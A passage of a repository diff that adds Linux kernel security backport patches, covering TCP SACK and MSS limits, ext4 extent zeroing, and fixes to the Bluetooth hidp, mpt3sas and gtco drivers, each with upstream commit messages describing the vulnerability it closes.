gets incremented to pcount in +@next_pcount, and we get to avoid the constant invocation of +tcp_skb_pcount(skb) all together. + +Fixes: 832d11c5cd07 ("tcp: Try to restore large SKBs while SACK processing") +Change-Id: Ia549e9b12cd033edd93f90e13c6c0e255f74c399 +Signed-off-by: Eric Dumazet +Reported-by: Jonathan Looney +Acked-by: Neal Cardwell +Reviewed-by: Tyler Hicks +Cc: Yuchung Cheng +Cc: Bruce Curtis +Cc: Jonathan Lemon +Signed-off-by: David S. Miller +Signed-off-by: Greg Kroah-Hartman +--- + include/linux/tcp.h | 3 +++ + include/net/tcp.h | 2 ++ + net/ipv4/tcp.c | 1 + + net/ipv4/tcp_input.c | 28 ++++++++++++++++++++++------ + net/ipv4/tcp_output.c | 4 ++-- + 5 files changed, 30 insertions(+), 8 deletions(-) + +diff --git a/include/linux/tcp.h b/include/linux/tcp.h +index 86d272b0f06..dcbdf2d4d75 100644 +--- a/include/linux/tcp.h ++++ b/include/linux/tcp.h +@@ -388,4 +388,7 @@ static inline int fastopen_init_queue(struct sock *sk, int backlog) + return 0; + } + ++int tcp_skb_shift(struct sk_buff *to, struct sk_buff *from, int pcount, ++ int shiftlen); ++ + #endif /* _LINUX_TCP_H */ +diff --git a/include/net/tcp.h b/include/net/tcp.h +index eb3efd136f0..86fd045e7a4 100644 +--- a/include/net/tcp.h ++++ b/include/net/tcp.h +@@ -54,6 +54,8 @@ extern void tcp_time_wait(struct sock *sk, int state, int timeo); + + #define MAX_TCP_HEADER (128 + MAX_HEADER) + #define MAX_TCP_OPTION_SPACE 40 ++#define TCP_MIN_SND_MSS 48 ++#define TCP_MIN_GSO_SIZE (TCP_MIN_SND_MSS - MAX_TCP_OPTION_SPACE) + + /* + * Never offer a window over 32767 without using window scaling. Some +diff --git a/net/ipv4/tcp.c b/net/ipv4/tcp.c +index 1582b872766..8a3488fe018 100644 +--- a/net/ipv4/tcp.c ++++ b/net/ipv4/tcp.c +@@ -3472,6 +3472,7 @@ void __init tcp_init(void) + int max_rshare, max_wshare, cnt; + unsigned int i; + ++ BUILD_BUG_ON(TCP_MIN_SND_MSS <= MAX_TCP_OPTION_SPACE); + BUILD_BUG_ON(sizeof(struct tcp_skb_cb) > sizeof(skb->cb)); + + percpu_counter_init(&tcp_sockets_allocated, 0); +diff --git a/net/ipv4/tcp_input.c b/net/ipv4/tcp_input.c +index 30ea5e795dc..04155d1892c 100644 +--- a/net/ipv4/tcp_input.c ++++ b/net/ipv4/tcp_input.c +@@ -1256,7 +1256,7 @@ static bool tcp_shifted_skb(struct sock *sk, struct sk_buff *skb, + TCP_SKB_CB(skb)->seq += shifted; + + skb_shinfo(prev)->gso_segs += pcount; +- BUG_ON(skb_shinfo(skb)->gso_segs < pcount); ++ WARN_ON_ONCE(skb_shinfo(skb)->gso_segs < pcount); + skb_shinfo(skb)->gso_segs -= pcount; + + /* When we're adding to gso_segs == 1, gso_size will be zero, +@@ -1324,6 +1324,21 @@ static int skb_can_shift(const struct sk_buff *skb) + return !skb_headlen(skb) && skb_is_nonlinear(skb); + } + ++int tcp_skb_shift(struct sk_buff *to, struct sk_buff *from, ++ int pcount, int shiftlen) ++{ ++ /* TCP min gso_size is 8 bytes (TCP_MIN_GSO_SIZE) ++ * Since TCP_SKB_CB(skb)->tcp_gso_segs is 16 bits, we need ++ * to make sure not storing more than 65535 * 8 bytes per skb, ++ * even if current MSS is bigger. ++ */ ++ if (unlikely(to->len + shiftlen >= 65535 * TCP_MIN_GSO_SIZE)) ++ return 0; ++ if (unlikely(tcp_skb_pcount(to) + pcount > 65535)) ++ return 0; ++ return skb_shift(to, from, shiftlen); ++} ++ + /* Try collapsing SACK blocks spanning across multiple skbs to a single + * skb. + */ +@@ -1335,6 +1350,7 @@ static struct sk_buff *tcp_shift_skb_data(struct sock *sk, struct sk_buff *skb, + struct tcp_sock *tp = tcp_sk(sk); + struct sk_buff *prev; + int mss; ++ int next_pcount; + int pcount = 0; + int len; + int in_sack; +@@ -1429,7 +1445,7 @@ static struct sk_buff *tcp_shift_skb_data(struct sock *sk, struct sk_buff *skb, + if (!after(TCP_SKB_CB(skb)->seq + len, tp->snd_una)) + goto fallback; + +- if (!skb_shift(prev, skb, len)) ++ if (!tcp_skb_shift(prev, skb, pcount, len)) + goto fallback; + if (!tcp_shifted_skb(sk, skb, state, pcount, len, mss, dup_sack)) + goto out; +@@ -1448,11 +1464,11 @@ static struct sk_buff *tcp_shift_skb_data(struct sock *sk, struct sk_buff *skb, + goto out; + + len = skb->len; +- if (skb_shift(prev, skb, len)) { +- pcount += tcp_skb_pcount(skb); +- tcp_shifted_skb(sk, skb, state, tcp_skb_pcount(skb), len, mss, 0); ++ next_pcount = tcp_skb_pcount(skb); ++ if (tcp_skb_shift(prev, skb, next_pcount, len)) { ++ pcount += next_pcount; ++ tcp_shifted_skb(sk, skb, state, next_pcount, len, mss, 0); + } +- + out: + state->fack_count += pcount; + return prev; +diff --git a/net/ipv4/tcp_output.c b/net/ipv4/tcp_output.c +index 7b02f18f395..cdbb3241f4d 100644 +--- a/net/ipv4/tcp_output.c ++++ b/net/ipv4/tcp_output.c +@@ -1239,8 +1239,8 @@ static inline int __tcp_mtu_to_mss(struct sock *sk, int pmtu) + mss_now -= icsk->icsk_ext_hdr_len; + + /* Then reserve room for full set of TCP options and 8 bytes of data */ +- if (mss_now < 48) +- mss_now = 48; ++ if (mss_now < TCP_MIN_SND_MSS) ++ mss_now = TCP_MIN_SND_MSS; + return mss_now; + } + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0552-5655f5512cd6-PATCH tcp tcpfragment should apply sane memory limits.patch b/recipes-kernel/linux/linux-bass/autopatcher/0552-5655f5512cd6-PATCH tcp tcpfragment should apply sane memory limits.patch new file mode 100644 index 0000000..ca12eac --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0552-5655f5512cd6-PATCH tcp tcpfragment should apply sane memory limits.patch @@ -0,0 +1,80 @@ +From 5655f5512cd66c6d1a5405c192cf7f4c39bcc99f Mon Sep 17 00:00:00 2001 +From: Eric Dumazet +Date: Sat, 15 Jun 2019 17:40:56 -0700 +Subject: [PATCH] tcp: tcp_fragment() should apply sane memory limits + +commit f070ef2ac66716357066b683fb0baf55f8191a2e upstream. + +Jonathan Looney reported that a malicious peer can force a sender +to fragment its retransmit queue into tiny skbs, inflating memory +usage and/or overflow 32bit counters. + +TCP allows an application to queue up to sk_sndbuf bytes, +so we need to give some allowance for non malicious splitting +of retransmit queue. + +A new SNMP counter is added to monitor how many times TCP +did not allow to split an skb if the allowance was exceeded. + +Note that this counter might increase in the case applications +use SO_SNDBUF socket option to lower sk_sndbuf. + +CVE-2019-11478 : tcp_fragment, prevent fragmenting a packet when the + socket is already using more than half the allowed space + +Change-Id: I594a9f68263f774fa6f0824042bc287bba6dc927 +Signed-off-by: Eric Dumazet +Reported-by: Jonathan Looney +Acked-by: Neal Cardwell +Acked-by: Yuchung Cheng +Reviewed-by: Tyler Hicks +Cc: Bruce Curtis +Cc: Jonathan Lemon +Signed-off-by: David S. Miller +Signed-off-by: Greg Kroah-Hartman +--- + include/uapi/linux/snmp.h | 1 + + net/ipv4/proc.c | 1 + + net/ipv4/tcp_output.c | 5 +++++ + 3 files changed, 7 insertions(+) + +diff --git a/include/uapi/linux/snmp.h b/include/uapi/linux/snmp.h +index df2e8b4f9c0..5a1b3673877 100644 +--- a/include/uapi/linux/snmp.h ++++ b/include/uapi/linux/snmp.h +@@ -253,6 +253,7 @@ enum + LINUX_MIB_TCPFASTOPENLISTENOVERFLOW, /* TCPFastOpenListenOverflow */ + LINUX_MIB_TCPFASTOPENCOOKIEREQD, /* TCPFastOpenCookieReqd */ + LINUX_MIB_TCPSPURIOUS_RTX_HOSTQUEUES, /* TCPSpuriousRtxHostQueues */ ++ LINUX_MIB_TCPWQUEUETOOBIG, /* TCPWqueueTooBig */ + __LINUX_MIB_MAX + }; + +diff --git a/net/ipv4/proc.c b/net/ipv4/proc.c +index 2a5bf86d241..4286559a96c 100644 +--- a/net/ipv4/proc.c ++++ b/net/ipv4/proc.c +@@ -273,6 +273,7 @@ static const struct snmp_mib snmp4_net_list[] = { + SNMP_MIB_ITEM("TCPFastOpenListenOverflow", LINUX_MIB_TCPFASTOPENLISTENOVERFLOW), + SNMP_MIB_ITEM("TCPFastOpenCookieReqd", LINUX_MIB_TCPFASTOPENCOOKIEREQD), + SNMP_MIB_ITEM("TCPSpuriousRtxHostQueues", LINUX_MIB_TCPSPURIOUS_RTX_HOSTQUEUES), ++ SNMP_MIB_ITEM("TCPWqueueTooBig", LINUX_MIB_TCPWQUEUETOOBIG), + SNMP_MIB_SENTINEL + }; + +diff --git a/net/ipv4/tcp_output.c b/net/ipv4/tcp_output.c +index 6e153691309..8b3e355e4fa 100644 +--- a/net/ipv4/tcp_output.c ++++ b/net/ipv4/tcp_output.c +@@ -1072,6 +1072,11 @@ int tcp_fragment(struct sock *sk, struct sk_buff *skb, u32 len, + if (nsize < 0) + nsize = 0; + ++ if (unlikely((sk->sk_wmem_queued >> 1) > sk->sk_sndbuf)) { ++ NET_INC_STATS(sock_net(sk), LINUX_MIB_TCPWQUEUETOOBIG); ++ return -ENOMEM; ++ } ++ + if (skb_unclone(skb, GFP_ATOMIC)) + return -ENOMEM; + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0553-e49033e75779-PATCH tcp refine memory limit test in tcpfragment.patch b/recipes-kernel/linux/linux-bass/autopatcher/0553-e49033e75779-PATCH tcp refine memory limit test in tcpfragment.patch new file mode 100644 index 0000000..a38fbb3 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0553-e49033e75779-PATCH tcp refine memory limit test in tcpfragment.patch @@ -0,0 +1,39 @@ +From e49033e757790cc20ce0bd61f0a01bf04c6a2e36 Mon Sep 17 00:00:00 2001 +From: Eric Dumazet +Date: Fri, 21 Jun 2019 06:09:55 -0700 +Subject: [PATCH] tcp: refine memory limit test in tcp_fragment() + +commit b6653b3629e5b88202be3c9abc44713973f5c4b4 upstream. + +tcp_fragment() might be called for skbs in the write queue. + +Memory limits might have been exceeded because tcp_sendmsg() only +checks limits at full skb (64KB) boundaries. + +Therefore, we need to make sure tcp_fragment() wont punish applications +that might have setup very low SO_SNDBUF values. + +Fixes: f070ef2ac667 ("tcp: tcp_fragment() should apply sane memory limits") +Change-Id: If9ae777f0ccfdde732f94350aa943274ccb1d541 +Signed-off-by: Eric Dumazet +Reported-by: Christoph Paasch +Tested-by: Christoph Paasch +Signed-off-by: David S. Miller +Signed-off-by: Greg Kroah-Hartman +--- + net/ipv4/tcp_output.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/net/ipv4/tcp_output.c b/net/ipv4/tcp_output.c +index 8b3e355e4fa..7b02f18f395 100644 +--- a/net/ipv4/tcp_output.c ++++ b/net/ipv4/tcp_output.c +@@ -1072,7 +1072,7 @@ int tcp_fragment(struct sock *sk, struct sk_buff *skb, u32 len, + if (nsize < 0) + nsize = 0; + +- if (unlikely((sk->sk_wmem_queued >> 1) > sk->sk_sndbuf)) { ++ if (unlikely((sk->sk_wmem_queued >> 1) > sk->sk_sndbuf + 0x20000)) { + NET_INC_STATS(sock_net(sk), LINUX_MIB_TCPWQUEUETOOBIG); + return -ENOMEM; + } diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0554-e39d74a52da2-PATCH BACKPORT tcp add tcpminsndmss sysctl.patch b/recipes-kernel/linux/linux-bass/autopatcher/0554-e39d74a52da2-PATCH BACKPORT tcp add tcpminsndmss sysctl.patch new file mode 100644 index 0000000..dd51d13 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0554-e39d74a52da2-PATCH BACKPORT tcp add tcpminsndmss sysctl.patch @@ -0,0 +1,134 @@ +From e39d74a52da25d6fee0acd33084d2cdccc502a0d Mon Sep 17 00:00:00 2001 +From: Eric Dumazet +Date: Sat, 15 Jun 2019 17:44:24 -0700 +Subject: [PATCH] BACKPORT: tcp: add tcp_min_snd_mss sysctl + +commit 5f3e2bf008c2221478101ee72f5cb4654b9fc363 upstream. + +Some TCP peers announce a very small MSS option in their SYN and/or +SYN/ACK messages. + +This forces the stack to send packets with a very high network/cpu +overhead. + +Linux has enforced a minimal value of 48. Since this value includes +the size of TCP options, and that the options can consume up to 40 +bytes, this means that each segment can include only 8 bytes of payload. + +In some cases, it can be useful to increase the minimal value +to a saner value. + +We still let the default to 48 (TCP_MIN_SND_MSS), for compatibility +reasons. + +Note that TCP_MAXSEG socket option enforces a minimal value +of (TCP_MIN_MSS). David Miller increased this minimal value +in commit c39508d6f118 ("tcp: Make TCP_MAXSEG minimum more correct.") +from 64 to 88. + +We might in the future merge TCP_MIN_SND_MSS and TCP_MIN_MSS. + +CVE-2019-11479 -- tcp mss hardcoded to 48 + +Signed-off-by: Eric Dumazet +Suggested-by: Jonathan Looney +Acked-by: Neal Cardwell +Cc: Yuchung Cheng +Cc: Tyler Hicks +Cc: Bruce Curtis +Cc: Jonathan Lemon +Signed-off-by: David S. Miller +Signed-off-by: Greg Kroah-Hartman +[BACKPORT to 3.10: use previous sysctrl method] +Signed-off-by: syphyr@gmail.com + +Change-Id: Ib5e91a60fe4f4c00afc27ed92b1bd8dfe39fb7c9 +--- + Documentation/networking/ip-sysctl.txt | 8 ++++++++ + include/net/tcp.h | 1 + + net/ipv4/sysctl_net_ipv4.c | 11 +++++++++++ + net/ipv4/tcp_output.c | 4 ++-- + 4 files changed, 22 insertions(+), 2 deletions(-) + +diff --git a/Documentation/networking/ip-sysctl.txt b/Documentation/networking/ip-sysctl.txt +index e6688e1849c..23aa38b3c21 100644 +--- a/Documentation/networking/ip-sysctl.txt ++++ b/Documentation/networking/ip-sysctl.txt +@@ -175,6 +175,14 @@ tcp_base_mss - INTEGER + Path MTU discovery (MTU probing). If MTU probing is enabled, + this is the initial MSS used by the connection. + ++tcp_min_snd_mss - INTEGER ++ TCP SYN and SYNACK messages usually advertise an ADVMSS option, ++ as described in RFC 1122 and RFC 6691. ++ If this ADVMSS option is smaller than tcp_min_snd_mss, ++ it is silently capped to tcp_min_snd_mss. ++ ++ Default : 48 (at least 8 bytes of payload per segment) ++ + tcp_congestion_control - STRING + Set the congestion control algorithm to be used for new + connections. The algorithm "reno" is always available, but +diff --git a/include/net/tcp.h b/include/net/tcp.h +index 86fd045e7a4..016a23e15c5 100644 +--- a/include/net/tcp.h ++++ b/include/net/tcp.h +@@ -284,6 +284,7 @@ extern int sysctl_tcp_moderate_rcvbuf; + extern int sysctl_tcp_tso_win_divisor; + extern int sysctl_tcp_mtu_probing; + extern int sysctl_tcp_base_mss; ++extern int sysctl_tcp_min_snd_mss; + extern int sysctl_tcp_workaround_signed_windows; + extern int sysctl_tcp_slow_start_after_idle; + extern int sysctl_tcp_max_ssthresh; +diff --git a/net/ipv4/sysctl_net_ipv4.c b/net/ipv4/sysctl_net_ipv4.c +index aa54c1766bd..7fc0fe462d8 100644 +--- a/net/ipv4/sysctl_net_ipv4.c ++++ b/net/ipv4/sysctl_net_ipv4.c +@@ -35,6 +35,8 @@ static int ip_local_port_range_min[] = { 1, 1 }; + static int ip_local_port_range_max[] = { 65535, 65535 }; + static int tcp_adv_win_scale_min = -31; + static int tcp_adv_win_scale_max = 31; ++static int tcp_min_snd_mss_min = TCP_MIN_SND_MSS; ++static int tcp_min_snd_mss_max = 65535; + static int ip_ttl_min = 1; + static int ip_ttl_max = 255; + static int tcp_syn_retries_min = 1; +@@ -670,6 +672,15 @@ static struct ctl_table ipv4_table[] = { + .mode = 0644, + .proc_handler = proc_dointvec, + }, ++ { ++ .procname = "tcp_min_snd_mss", ++ .data = &sysctl_tcp_min_snd_mss, ++ .maxlen = sizeof(int), ++ .mode = 0644, ++ .proc_handler = proc_dointvec_minmax, ++ .extra1 = &tcp_min_snd_mss_min, ++ .extra2 = &tcp_min_snd_mss_max, ++ }, + { + .procname = "tcp_workaround_signed_windows", + .data = &sysctl_tcp_workaround_signed_windows, +diff --git a/net/ipv4/tcp_output.c b/net/ipv4/tcp_output.c +index cdbb3241f4d..4dac8ebd72d 100644 +--- a/net/ipv4/tcp_output.c ++++ b/net/ipv4/tcp_output.c +@@ -61,6 +61,7 @@ int sysctl_tcp_tso_win_divisor __read_mostly = 3; + + int sysctl_tcp_mtu_probing __read_mostly = 0; + int sysctl_tcp_base_mss __read_mostly = TCP_BASE_MSS; ++int sysctl_tcp_min_snd_mss __read_mostly = TCP_MIN_SND_MSS; + + /* By default, RFC2861 behavior. */ + int sysctl_tcp_slow_start_after_idle __read_mostly = 1; +@@ -1239,8 +1240,7 @@ static inline int __tcp_mtu_to_mss(struct sock *sk, int pmtu) + mss_now -= icsk->icsk_ext_hdr_len; + + /* Then reserve room for full set of TCP options and 8 bytes of data */ +- if (mss_now < TCP_MIN_SND_MSS) +- mss_now = TCP_MIN_SND_MSS; ++ mss_now = max(mss_now, sysctl_tcp_min_snd_mss); + return mss_now; + } + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0555-3787f97da7b6-PATCH BACKPORT tcp enforce tcpminsndmss in tcpmtuprobing.patch b/recipes-kernel/linux/linux-bass/autopatcher/0555-3787f97da7b6-PATCH BACKPORT tcp enforce tcpminsndmss in tcpmtuprobing.patch new file mode 100644 index 0000000..11a560c --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0555-3787f97da7b6-PATCH BACKPORT tcp enforce tcpminsndmss in tcpmtuprobing.patch @@ -0,0 +1,44 @@ +From 3787f97da7b61137eaeb8afd351a07225729651b Mon Sep 17 00:00:00 2001 +From: Eric Dumazet +Date: Sat, 15 Jun 2019 17:47:27 -0700 +Subject: [PATCH] BACKPORT: tcp: enforce tcp_min_snd_mss in tcp_mtu_probing() + +commit 967c05aee439e6e5d7d805e195b3a20ef5c433d6 upstream. + +If mtu probing is enabled tcp_mtu_probing() could very well end up +with a too small MSS. + +Use the new sysctl tcp_min_snd_mss to make sure MSS search +is performed in an acceptable range. + +CVE-2019-11479 -- tcp mss hardcoded to 48 + +Signed-off-by: Eric Dumazet +Reported-by: Jonathan Lemon +Cc: Jonathan Looney +Acked-by: Neal Cardwell +Cc: Yuchung Cheng +Cc: Tyler Hicks +Cc: Bruce Curtis +Signed-off-by: David S. Miller +Signed-off-by: Greg Kroah-Hartman +[BACKPORT to 3.10: use previous sysctrl method] +Signed-off-by: syphyr@gmail.com + +Change-Id: I02c8330a38992461b89081196b1b0ad0add0e6ad +--- + net/ipv4/tcp_timer.c | 1 + + 1 file changed, 1 insertion(+) + +diff --git a/net/ipv4/tcp_timer.c b/net/ipv4/tcp_timer.c +index 8c61887277c..cc57a79501d 100644 +--- a/net/ipv4/tcp_timer.c ++++ b/net/ipv4/tcp_timer.c +@@ -149,6 +149,7 @@ static void tcp_mtu_probing(struct inet_connection_sock *icsk, struct sock *sk) + mss = tcp_mtu_to_mss(sk, icsk->icsk_mtup.search_low) >> 1; + mss = min(sysctl_tcp_base_mss, mss); + mss = max(mss, 68 - tp->tcp_header_len); ++ mss = max(mss, sysctl_tcp_min_snd_mss); + icsk->icsk_mtup.search_low = tcp_mss_to_mtu(sk, mss); + tcp_sync_mss(sk, icsk->icsk_pmtu_cookie); + } diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0556-c7084edc3f6d-tty mark Siemens R3964 line discipline as BROKEN.patch b/recipes-kernel/linux/linux-bass/autopatcher/0556-c7084edc3f6d-tty mark Siemens R3964 line discipline as BROKEN.patch new file mode 100644 index 0000000..f593a44 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0556-c7084edc3f6d-tty mark Siemens R3964 line discipline as BROKEN.patch @@ -0,0 +1,45 @@ +From c7084edc3f6d67750f50d4183134c4fb5712a5c8 Mon Sep 17 00:00:00 2001 +From: Greg Kroah-Hartman +Date: Fri, 5 Apr 2019 15:39:26 +0200 +Subject: tty: mark Siemens R3964 line discipline as BROKEN + +The n_r3964 line discipline driver was written in a different time, when +SMP machines were rare, and users were trusted to do the right thing. +Since then, the world has moved on but not this code, it has stayed +rooted in the past with its lovely hand-crafted list structures and +loads of "interesting" race conditions all over the place. + +After attempting to clean up most of the issues, I just gave up and am +now marking the driver as BROKEN so that hopefully someone who has this +hardware will show up out of the woodwork (I know you are out there!) +and will help with debugging a raft of changes that I had laying around +for the code, but was too afraid to commit as odds are they would break +things. + +Many thanks to Jann and Linus for pointing out the initial problems in +this codebase, as well as many reviews of my attempts to fix the issues. +It was a case of whack-a-mole, and as you can see, the mole won. + +Reported-by: Jann Horn +Signed-off-by: Greg Kroah-Hartman +Signed-off-by: Linus Torvalds +--- + drivers/char/Kconfig | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/drivers/char/Kconfig b/drivers/char/Kconfig +index 72866a004f075..466ebd84ad177 100644 +--- a/drivers/char/Kconfig ++++ b/drivers/char/Kconfig +@@ -348,7 +348,7 @@ config XILINX_HWICAP + + config R3964 + tristate "Siemens R3964 line discipline" +- depends on TTY ++ depends on TTY && BROKEN + ---help--- + This driver allows synchronous communication with devices using the + Siemens R3964 packet protocol. Unless you are dealing with special +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0557-f363522e4034-PATCH ext4 zero out the unused memory region in the extent tree.patch b/recipes-kernel/linux/linux-bass/autopatcher/0557-f363522e4034-PATCH ext4 zero out the unused memory region in the extent tree.patch new file mode 100644 index 0000000..75daba7 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0557-f363522e4034-PATCH ext4 zero out the unused memory region in the extent tree.patch @@ -0,0 +1,79 @@ +From f363522e40341a176cc7675052ad5021b1f8f666 Mon Sep 17 00:00:00 2001 +From: Sriram Rajagopalan +Date: Tue, 18 Jun 2019 04:48:25 +0200 +Subject: [PATCH] ext4: zero out the unused memory region in the extent tree + block + +commit 592acbf16821288ecdc4192c47e3774a4c48bb64 upstream. +This commit zeroes out the unused memory region in the buffer_head +corresponding to the extent metablock after writing the extent header +and the corresponding extent node entries. +This is done to prevent random uninitialized data from getting into +the filesystem when the extent block is synced. +This fixes CVE-2019-11833. +Signed-off-by: Sriram Rajagopalan +Signed-off-by: Theodore Ts'o +Signed-off-by: Ben Hutchings + +Change-Id: I5d74c1731ed4806c8ddc748c08f4d325eedb5317 +--- + fs/ext4/extents.c | 17 +++++++++++++++-- + 1 file changed, 15 insertions(+), 2 deletions(-) + +diff --git a/fs/ext4/extents.c b/fs/ext4/extents.c +index 9b368f365cf..55703a0b4cc 100644 +--- a/fs/ext4/extents.c ++++ b/fs/ext4/extents.c +@@ -972,6 +972,7 @@ static int ext4_ext_split(handle_t *handle, struct inode *inode, + __le32 border; + ext4_fsblk_t *ablocks = NULL; /* array of allocated blocks */ + int err = 0; ++ size_t ext_size = 0; + + /* make decision: where to split? */ + /* FIXME: now decision is simplest: at current extent */ +@@ -1063,6 +1064,10 @@ static int ext4_ext_split(handle_t *handle, struct inode *inode, + le16_add_cpu(&neh->eh_entries, m); + } + ++ /* zero out unused area in the extent block */ ++ ext_size = sizeof(struct ext4_extent_header) + ++ sizeof(struct ext4_extent) * le16_to_cpu(neh->eh_entries); ++ memset(bh->b_data + ext_size, 0, inode->i_sb->s_blocksize - ext_size); + ext4_extent_block_csum_set(inode, neh); + set_buffer_uptodate(bh); + unlock_buffer(bh); +@@ -1142,6 +1147,11 @@ static int ext4_ext_split(handle_t *handle, struct inode *inode, + sizeof(struct ext4_extent_idx) * m); + le16_add_cpu(&neh->eh_entries, m); + } ++ /* zero out unused area in the extent block */ ++ ext_size = sizeof(struct ext4_extent_header) + ++ (sizeof(struct ext4_extent) * le16_to_cpu(neh->eh_entries)); ++ memset(bh->b_data + ext_size, 0, ++ inode->i_sb->s_blocksize - ext_size); + ext4_extent_block_csum_set(inode, neh); + set_buffer_uptodate(bh); + unlock_buffer(bh); +@@ -1207,6 +1217,7 @@ static int ext4_ext_grow_indepth(handle_t *handle, struct inode *inode, + struct buffer_head *bh; + ext4_fsblk_t newblock; + int err = 0; ++ size_t ext_size = 0; + + newblock = ext4_ext_new_meta_block(handle, inode, NULL, + newext, &err, flags); +@@ -1224,9 +1235,11 @@ static int ext4_ext_grow_indepth(handle_t *handle, struct inode *inode, + goto out; + } + ++ ext_size = sizeof(EXT4_I(inode)->i_data); + /* move top-level index/leaf into new block */ +- memmove(bh->b_data, EXT4_I(inode)->i_data, +- sizeof(EXT4_I(inode)->i_data)); ++ memmove(bh->b_data, EXT4_I(inode)->i_data, ext_size); ++ /* zero out unused area in the extent block */ ++ memset(bh->b_data + ext_size, 0, inode->i_sb->s_blocksize - ext_size); + + /* set size of new block */ + neh = ext_block_hdr(bh); diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0558-90c462a5483e-PATCH Bluetooth hidp fix buffer overflow.patch b/recipes-kernel/linux/linux-bass/autopatcher/0558-90c462a5483e-PATCH Bluetooth hidp fix buffer overflow.patch new file mode 100644 index 0000000..3ecee08 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0558-90c462a5483e-PATCH Bluetooth hidp fix buffer overflow.patch @@ -0,0 +1,34 @@ +From 90c462a5483e1c2718230d814c8640c7c67ab9d0 Mon Sep 17 00:00:00 2001 +From: Young Xiao +Date: Fri, 12 Apr 2019 15:24:30 +0800 +Subject: [PATCH] Bluetooth: hidp: fix buffer overflow + +commit a1616a5ac99ede5d605047a9012481ce7ff18b16 upstream. + +Struct ca is copied from userspace. It is not checked whether the "name" +field is NULL terminated, which allows local users to obtain potentially +sensitive information from kernel stack memory, via a HIDPCONNADD command. + +This vulnerability is similar to CVE-2011-1079. + +Change-Id: I3a503e62da6ecb15e4ab64783229f914e520c9c4 +Signed-off-by: Young Xiao +Signed-off-by: Marcel Holtmann +Cc: stable@vger.kernel.org +Signed-off-by: Greg Kroah-Hartman +--- + net/bluetooth/hidp/sock.c | 1 + + 1 file changed, 1 insertion(+) + +diff --git a/net/bluetooth/hidp/sock.c b/net/bluetooth/hidp/sock.c +index cb3fdde1968..322047f9d03 100644 +--- a/net/bluetooth/hidp/sock.c ++++ b/net/bluetooth/hidp/sock.c +@@ -76,6 +76,7 @@ static int hidp_sock_ioctl(struct socket *sock, unsigned int cmd, unsigned long + sockfd_put(csock); + return err; + } ++ ca.name[sizeof(ca.name)-1] = 0; + + err = hidp_connection_add(&ca, csock, isock); + if (!err && copy_to_user(argp, &ca, sizeof(ca))) diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0559-f9e3ebeea452-scsi mpt3sasctl fix doublefetch bug in ctlioctlmain.patch b/recipes-kernel/linux/linux-bass/autopatcher/0559-f9e3ebeea452-scsi mpt3sasctl fix doublefetch bug in ctlioctlmain.patch new file mode 100644 index 0000000..8485483 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0559-f9e3ebeea452-scsi mpt3sasctl fix doublefetch bug in ctlioctlmain.patch @@ -0,0 +1,43 @@ +From f9e3ebeea4521652318af903cddeaf033527e93e Mon Sep 17 00:00:00 2001 +From: Gen Zhang +Date: Thu, 30 May 2019 09:10:30 +0800 +Subject: scsi: mpt3sas_ctl: fix double-fetch bug in _ctl_ioctl_main() + +In _ctl_ioctl_main(), 'ioctl_header' is fetched the first time from +userspace. 'ioctl_header.ioc_number' is then checked. The legal result is +saved to 'ioc'. Then, in condition MPT3COMMAND, the whole struct is fetched +again from the userspace. Then _ctl_do_mpt_command() is called, 'ioc' and +'karg' as inputs. + +However, a malicious user can change the 'ioc_number' between the two +fetches, which will cause a potential security issues. Moreover, a +malicious user can provide a valid 'ioc_number' to pass the check in first +fetch, and then modify it in the second fetch. + +To fix this, we need to recheck the 'ioc_number' in the second fetch. + +Signed-off-by: Gen Zhang +Acked-by: Suganath Prabu S +Signed-off-by: Martin K. Petersen +--- + drivers/scsi/mpt3sas/mpt3sas_ctl.c | 4 ++++ + 1 file changed, 4 insertions(+) + +diff --git a/drivers/scsi/mpt3sas/mpt3sas_ctl.c b/drivers/scsi/mpt3sas/mpt3sas_ctl.c +index b2bb47c14d35..5181c03e82a6 100644 +--- a/drivers/scsi/mpt3sas/mpt3sas_ctl.c ++++ b/drivers/scsi/mpt3sas/mpt3sas_ctl.c +@@ -2319,6 +2319,10 @@ _ctl_ioctl_main(struct file *file, unsigned int cmd, void __user *arg, + break; + } + ++ if (karg.hdr.ioc_number != ioctl_header.ioc_number) { ++ ret = -EINVAL; ++ break; ++ } + if (_IOC_SIZE(cmd) == sizeof(struct mpt3_ioctl_command)) { + uarg = arg; + ret = _ctl_do_mpt_command(ioc, karg, &uarg->mf); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0560-2a017fd82c54-Input gtco bounds check collection indent level.patch b/recipes-kernel/linux/linux-bass/autopatcher/0560-2a017fd82c54-Input gtco bounds check collection indent level.patch new file mode 100644 index 0000000..883e779 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0560-2a017fd82c54-Input gtco bounds check collection indent level.patch @@ -0,0 +1,78 @@ +From 2a017fd82c5402b3c8df5e3d6e5165d9e6147dc1 Mon Sep 17 00:00:00 2001 +From: Grant Hernandez +Date: Sat, 13 Jul 2019 01:00:12 -0700 +Subject: Input: gtco - bounds check collection indent level + +The GTCO tablet input driver configures itself from an HID report sent +via USB during the initial enumeration process. Some debugging messages +are generated during the parsing. A debugging message indentation +counter is not bounds checked, leading to the ability for a specially +crafted HID report to cause '-' and null bytes be written past the end +of the indentation array. As long as the kernel has CONFIG_DYNAMIC_DEBUG +enabled, this code will not be optimized out. This was discovered +during code review after a previous syzkaller bug was found in this +driver. + +Signed-off-by: Grant Hernandez 